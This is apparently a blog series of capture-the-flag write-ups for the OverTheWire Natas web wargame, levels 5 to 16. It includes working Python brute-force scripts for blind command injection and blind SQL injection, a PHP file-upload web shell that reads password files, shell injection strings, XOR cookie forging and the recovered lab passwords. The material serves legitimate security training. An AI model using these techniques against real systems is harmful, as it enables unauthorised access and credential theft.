Here we go with Natas 16
Natas 16 is upgraded version of Natas 9 and Natas 10. You should read this post before solve this one. We continue deal with grep but this time, even more character is filtered : [ ; | & ` \ ‘ ” ]
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas16</h1> <div id="content"> For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
Well well, we still can use $ and ( ) and that is enough :D. By using $(some_command), we can inject another command.
Reference is here. Let check out this :
grep -i $(grep -E ^a.* /etc/natas_webpass/natas17)hackers dictionary.txt
At first, shell will execute the command inside $(….) which is :
grep -E ^a.* /etc/natas_webpass/natas17
.
This command check if password file start with “a”. If that’s true, its output “a”, else it will output nothing. After this command is executed, the outer command will fall in 2 cases as following :
grep -i ahackers dictionary.txt
(found case) => output nothing cause there is no “ahacker” word in file.
or
grep -i hackers dictionary.txt
(not found case) => output “hackers”.
So we can use this method to slowly bruteforce and guess each char of the password. Following is Python code:
#!/usr/bin/env python # Author : vigov5 # -*- coding: utf-8 -*- import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} username = "natas16" password = "3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L" conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '') headers["Authorization"] = "Basic %s" % base64string count = 0 passwd = "" while count != 32: for i in charset: passwd += i needle = urllib.quote_plus("$(grep -E ^" + passwd + ".* /etc/natas_webpass/natas17)hackers") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if data.count("hackers") == 0: print "OK, Current passwd is ", passwd count += 1 break else: passwd = passwd[:-1] conn.close() print "Final passsword : ", passwd
And finally, the result :
OK, Current passwd is 9
OK, Current passwd is 9H
OK, Current passwd is 9HB
OK, Current passwd is 9HBz
OK, Current passwd is 9HBzt
OK, Current passwd is 9HBzt5
OK, Current passwd is 9HBzt5l
OK, Current passwd is 9HBzt5lj
OK, Current passwd is 9HBzt5ljt
OK, Current passwd is 9HBzt5ljtP
OK, Current passwd is 9HBzt5ljtPA
OK, Current passwd is 9HBzt5ljtPAg
OK, Current passwd is 9HBzt5ljtPAgm
OK, Current passwd is 9HBzt5ljtPAgma
OK, Current passwd is 9HBzt5ljtPAgmaY
OK, Current passwd is 9HBzt5ljtPAgmaYv
OK, Current passwd is 9HBzt5ljtPAgmaYvN
OK, Current passwd is 9HBzt5ljtPAgmaYvNf
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8c
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8ch
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZ
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZV
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq5
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50o
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50oe
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50oep
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50oeps
OK, Current passwd is 9HBzt5ljtPAgmaYvNfZ8chZVq50oepsx
Final passsword : 9HBzt5ljtPAgmaYvNfZ8chZVq50oepsx
And because of natas17 is :
At the moment, this level doesn’t exist yet. If you have a great idea for a new level, let us know!
We are done ! See ya in another write-up series 😀
Natas 14 is a simple SQL Injection. Since this topic is very popular and there is a lot tutorial and example about this vulnerability, I will not cover it here. Fill user field with “admin” and password with ” OR 1=1 — ” (there is a space at end of line) and we got :
Successful login! The password for natas15 is m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV
Natas 15 is also about SQL. We can query the database to check if user exists or not . Let’s check the source code :
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas15</h1> <div id="content"> <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
We guess username will be natas16 and password is 32 char long as usual. With this information we can try to bruteforce the password with SQL query, for example :
SELECT * from users where username=”natas16″ and password LIKE BINARY “a%”
This query check if user “natas16” has password which start with “a”. Base on output of html page (“This user doesn’t exist.”/”This user exists.”) we know that we select wrong/correct character. BINARY allow us to compare case-sensitive. This is the automated Python code that do the trick:
#!/usr/bin/env python # Author : vigov5 # -*- coding: utf-8 -*- import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} params = {} username = "natas15" password = "m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV" conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org") base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '') headers["Authorization"] = "Basic %s" % base64string headers["Content-Type"] = "application/x-www-form-urlencoded" count = 0 passwd = "" while count != 32: for i in charset: passwd += i print 'Check password : ', passwd params["username"] = 'natas16" and password LIKE BINARY "' + passwd + '%' conn.request("POST", "", urllib.urlencode(params), headers) r1 = conn.getresponse() data = r1.read() if data.count("This user exists.") != 0: print "OK, Current passwd is ", passwd count += 1 break else: print 'Failed' passwd = passwd[:-1] conn.close()
After few minutes, we got the password :
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3F
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3G
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3H
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3I
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3J
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3K
Failed
Check password : 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L
OK, Current passwd is 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L
See u next time in final level 😀 !
Let’s continue with Natas 12 and Natas 13
Login with username and password, we got a page that allow us to upload a .jpg file. Check out the source code :
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas12</h1> <div id="content"> <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
this code get uploaded file, create random path, random filename for uploaded file and provide a link to uploaded file. Instead of checking for file extension, it hardcoded file extension to .jpg in html code which we can change this part easily. To sum up, we upload a php file that read out the content of password file and change upload file extension to php.
<?php system("cat /etc/natas_webpass/natas13"); ?>
and we got password for next level :
IGCXqS4x472aoHZYaidvmeoWj2GmuRYz
Natas 13 different from Natas 12 in the way it allow only image file :
if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> According to PHP doc, exif_imagetype() reads the first bytes of an image and checks its signature. For example, with BMP file, it check for 0x42 0x4d 0x50 ("BMP" in ASCII) for signature. We can create another file begin with "BMP" to bypass this check :
BMP<?php system("cat /etc/natas_webpass/natas14"); ?>
Don’t forget to change file extension to php in html code, upload new file and we got password (after remove BMP prefix):
sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh
=> we need to check for both content and extension of uploaded file 😀
See ya !
Long time no see !
Here we go again with Natas 11
Login with username and password, we got some text related to cookie : ” Cookies are protected with XOR encryption ” and a form to change background color. Let’s check the source code:
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <? $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); ?> <h1>natas11</h1> <div id="content"> <body style="background: <?=$data['bgcolor']?>;"> Cookies are protected with XOR encryption<br/><br/> <? if($data["showpassword"] == "yes") { print "The password for natas12 is <censored><br>"; } ?> <form> Background color: <input name=bgcolor value="<?=$data['bgcolor']?>"> <input type=submit value="Set color"> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
When we load the page up, PHP code will be executed from function loadData() with default parameter is $defaultdata. In function loadData(), it check for existed cookie named data, if it exists, it decode its value in to $mydata and return $mydata. Then value of $mydata will be encoded and set as new cookie data.
Take a look at function xor_encrypt() we can see that, for example $defaultdata will be encode to json, xor with each char in $key, encode to base64 and set as cookie. That is the value of cookie first time we load the page up as seen in Cookie tab of Firebug:
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
So this value is result of XOR between $key and $defaultdata. Because A XOR B = C mean that C XOR B = A so we can do the reverse to get the key.
<?php function xor_encrypt($in, $key) { $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw="; $b64_decoded_cookie = base64_decode($cookie); $key = xor_encrypt(json_encode($defaultdata), $b64_decoded_cookie); echo $key; ?>
And the result is :
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
So our we guess $key = “qw8J”. Fill it in the function, change “showpassword”=>”yes” and regenerate new cookie with this code:
<?php function xor_encrypt($in) { $key = "qw8J"; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $new_cookie = base64_encode(xor_encrypt(json_encode($defaultdata))); echo $new_cookie; ?>
and we get : ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Subtitle cookie with this new one and F5 refresh :
Cookies are protected with XOR encryption
The password for natas12 is sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu
That it :D. See ya !
In mean time waiting for an important result, let me go with Natas 9 and Natas 10.
The reason I group 2 levels in one post is that Natas 10 is upgraded version of Natas 9 ( there is a more upgraded version that is Natas 16 but i won’t spoil the fun now 😀 ).
Less talk, grab password from previous level and login. We greeted with a words search form. There is the source code :
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas9</h1> <div id="content"> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key=""; if(array_key_exists("needle",$_REQUEST)){ $key=$_REQUEST["needle"]; } if($key!=""){ passthru("grep -i $key dictionary.txt"); } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
This code takes word that is inserted in search form an search for it in dictionary.txt by using popular Linux tool grep. Don’t know what grep is ?. Read its manual here : http://linux.die.net/man/1/grep . Function passthru of PHP can be considered as a Linux shell that allow us to executes Linux command. -i switch is simply –ignore-case in search pattern.
OK, let play a bit. Search for hacker, it will output :
hacker hacker's hackers
The full command will be :
grep -i hacker dictionary.txt
This code simple concat $key to predefined command, so we have full control in what ever we can insert. Some more information about some special symbols used in shell comand and script : (Full at here http://tldp.org/LDP/abs/html/special-chars.html)
; command separator, allow 2 command in one line
# comment, the following command after this symbols will be commented.
. match any type character (regular expression)
* match one or more characters before (regular expression)
So, by using ; we can insert one (or more) arbitray command and by using #, we can comment dictionary.txt out. We already knew that password for Natas 10 is stored at /etc/natas_webpass/natas10 . Finally, we come up with search word : ; cat /etc/natas_webpass/natas10 # . In this case our command will become:
grep -i ; cat /etc/natas_webpass/natas10 # dictionary.txt
which equivalent to output the content of /etc/natas_webpass/natas10
(cat /etc/natas_webpass/natas10
) . And the result :
s09byvi8880wqhbnonMFMW8byCojm8eA
That is the password for Natas 10.
Natas 10 uses filter to prevent us from using some special symbols :
<?php if($key!=""){ if(preg_match('/[;|&]/',$key)){ print"Input contains an illegal character!"; }else{ passthru("grep -i $key dictionary.txt"); } } ?>
It filters on character ; and | and & . In this case we will use regular expression to archive our result. We search with .* /etc/natas_webpass/natas11 # . Full command will be :
grep -i .* /etc/natas_webpass/natas11 # dictionary.txt
which is equivalent to output all line in /etc/natas_webpass/natas11 . We get the result:
.htaccess:AuthType Basic
.htaccess: AuthName “Authentication required”
.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd
.htaccess: require valid-user
.htpasswd:natas10:$1$7OEbhNHs$sdiG/YBvDGZ4bcYJUoaJL1
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
I don’t know why this command also output contents of other files but anway, we get what we want :D.
That all for this two level. We will meet grep once again at Natas 16.
See ya !
Login with username natas8 and password in Level 8, we see a submit form. Source code:
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas8</h1> <div id="content"> <? $encodedSecret="3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret){ return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit",$_POST)){ if(encodeSecret($_POST['secret'])==$encodedSecret){ print"Access granted. The password for natas9 is <censored>"; }else{ print"Wrong secret"; } } ?> <form method=post> Input secret: <input name=secret><br> <input type=submit name=submit> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
The rule is simple : enter correct secret to get the password. The secret we inputed is encoded with function encodeSecret and then compare with hardcoded secrect “3d3d516343746d4d6d6c315669563362”. Therefore, we need to reverse the process to get the original one.
bin2hex(strrev(base64_encode($secret)));
$secrect -> $base64_encoded_secret -> $reversed_base64_encoded_secret -> $bin2hex_reversed_base64_encoded_secret = “3d3d516343746d4d6d6c315669563362”
We do the reverse :
“3d3d516343746d4d6d6c315669563362” -> $hex2bin_reversed_base64_encoded_secret ->$reversed_base64_encoded_secret -> $base64_decoded_secret = $original_secrect
Small php script to do the whole thing:
<?php echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))); ?>
And the result is : oubWYf2kBq. Input it in the form and press submit :
Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
Level is getting more and more difficult, doesn’t it :D.
We’re done. See ya.
Hi everyone, got some free time and don’t know what to do
… and grab password from previous level and here we go with Natas 7 😀
Log in and we can see a page with only 2 link : Home and About. View source code :
<html> <head><link rel="stylesheet"type="text/css"href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas7</h1> <div id="content"> <a href="index.php?page=home">Home</a> <a href="index.php?page=about">About</a> <br> <br> <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> </div> </body> </html>
Very kindly hint, doesn’t it :D. Look closer,we see that there is a page called index.php which with render pages by its page argument. For example, we pass in ?page=home, it will read out page Home and output the result. So, if we pass the file that contains password (http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8), it will ….
maabkdexUStb6JJXUqmBx7Re8M61cksn
Some kind of Local File Disclosure Vulnerability. We’re done. See ya.
Here we go with Natas Level 6. As usual, to access this level, you need the password from previous level. Login and we’re greeted with :
Let check the source code:
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas6</h1> <div id="content"> <? include"includes/secret.inc"; if(array_key_exists("submit",$_POST)){ if($secret==$_POST['secret']){ print"Access granted. The password for natas7 is <censored>"; }else{ print"Wrong secret"; } } ?> <form method=post> Input secret: <input name=secret><br> <input type=submit name=submit> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
Nothing much to say about source code. First, it check for key “submit” in variable $_POST, then compare it with $secret which is stored in file secret.inc. So, let check if we can view that file from : http://natas6.natas.labs.overthewire.org/includes/secret.inc
<? $secret = "FOEIUWGHFEEUHOFUOIU"; ?>
Input it into form and submit. We’re done !
Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU
P/S: From now on, I’ll have more free time so I’ll try to write more often. See you in next level 😀
First, Happy New Year 2013!
May all your (and mine) dreams come true !! 😀
To kick ass myself, let’s continue with Level 5. We are greeted with:
Access disallowed. You are not logged in
Oh come on, some kind of cookie :-?. More info here:http://en.wikipedia.org/wiki/HTTP_cookie.
So, let’s investigate it. Get powerful Firebug add-on for Firefox and fire it up, switch to Cookies tab:
Here it is. Go ahead and change loggedin‘s value from 0 (False) to 1 (True) and refresh page:
Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
That’s all for level 5. Once more, have a nice day and nice year.
Today I stumble up on an apps, built with Microsoft MFC C++. As we know, MFC is different from VC so does the reversing process. Some reference:
Reversing MFC Applications by Externalist
Basic MFC Reversing(eng) by Pn
Try to build an signature file for mfc100u.dll with IDA Pro but no success. So fall back to OllyDbg but:
No meaningful function name !. So, let’s import lib file.
Grab file mfc100u.lib from Microsoft Visual Studio 10.0 folder. Then from OllyDbg -> Debug -> Select path for symbols and select our lib file. Restart program (Ctrl + F2) and :
This method is not only applied to MFC but also another library. 😀